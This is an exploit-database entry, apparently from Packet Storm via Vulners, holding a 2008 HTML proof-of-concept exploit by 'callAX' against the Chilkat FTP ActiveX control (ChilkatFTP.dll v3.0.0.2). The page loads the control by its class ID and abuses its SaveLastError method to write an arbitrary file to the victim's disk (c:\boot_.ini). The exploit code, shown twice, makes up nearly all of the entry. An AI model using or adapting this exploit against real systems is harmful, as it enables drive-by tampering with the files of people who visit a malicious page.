Search...

Chilkat FTP Active-X Insecure Method

2008-12-31T00:00:00

ID PACKETSTORM:73454
Type packetstorm
Reporter callAX
Modified 2008-12-31T00:00:00

Description

                                        
                                            `&lt;html&gt;  
&lt;title&gt;ChilkatSocket.DLL Arbitrary File Creation ChilkatFTP.dll v3.0.0.2&lt;/title&gt;&lt;br&gt;&lt;br&gt;  
&lt;body&gt;  
&lt;h3&gt;ChilkatSocket.DLL Arbitrary File Creation ChilkatFTP.dll v3.0.0.2 Arbitrary Data Write Exploit&lt;/h3&gt;  
  
&lt;!c0d3d by callAX   
*-*-*-*-*  
0wN thE b0x p4l  
*_*-*_*_*  
Greetings to str0ke and Fr0git0--&gt;  
  
&lt;HTML&gt;  
&lt;BODY&gt;  
&lt;object id=ctrl classid="clsid:{3B598BD0-AF50-48C6-B6A5-63261A48B054}"&gt;&lt;/object&gt;  
  
&lt;SCRIPT&gt;  
  
function Do_it()  
{  
File = "c:\\boot_.ini"  
ctrl.SaveLastError(File)  
}  
  
&lt;/SCRIPT&gt;  
&lt;input language=JavaScript onclick=Do_it() type=button value="S3nd me to thls HD"&gt;  
&lt;/body&gt;  
&lt;/HTML&gt;  
  
`

JSON Vulners Source

Initial Source

{"id": "PACKETSTORM:73454", "type": "packetstorm", "bulletinFamily": "exploit", "title": "Chilkat FTP Active-X Insecure Method", "description": "", "published": "2008-12-31T00:00:00", "modified": "2008-12-31T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/73454/Chilkat-FTP-Active-X-Insecure-Method.html", "reporter": "callAX", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:22:30", "viewCount": 1, "enchantments": {"score": {"value": -0.1, "vector": "NONE", "modified": "2016-11-03T10:22:30", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:22:30", "rev": 2}, "vulnersScore": -0.1}, "sourceHref": "https://packetstormsecurity.com/files/download/73454/chilkatftpsavelast-insecure.txt", "sourceData": "`<html> \n<title>ChilkatSocket.DLL Arbitrary File Creation ChilkatFTP.dll v3.0.0.2</title><br><br> \n<body> \n<h3>ChilkatSocket.DLL Arbitrary File Creation ChilkatFTP.dll v3.0.0.2 Arbitrary Data Write Exploit</h3> \n \n<!c0d3d by callAX \n*-*-*-*-* \n0wN thE b0x p4l \n*_*-*_*_* \nGreetings to str0ke and Fr0git0--> \n \n<HTML> \n<BODY> \n<object id=ctrl classid=\"clsid:{3B598BD0-AF50-48C6-B6A5-63261A48B054}\"></object> \n \n<SCRIPT> \n \nfunction Do_it() \n{ \nFile = \"c:\\\\boot_.ini\" \nctrl.SaveLastError(File) \n} \n \n</SCRIPT> \n<input language=JavaScript onclick=Do_it() type=button value=\"S3nd me to thls HD\"> \n</body> \n</HTML> \n \n`\n", "immutableFields": [], "cvss2": {}, "cvss3": {}}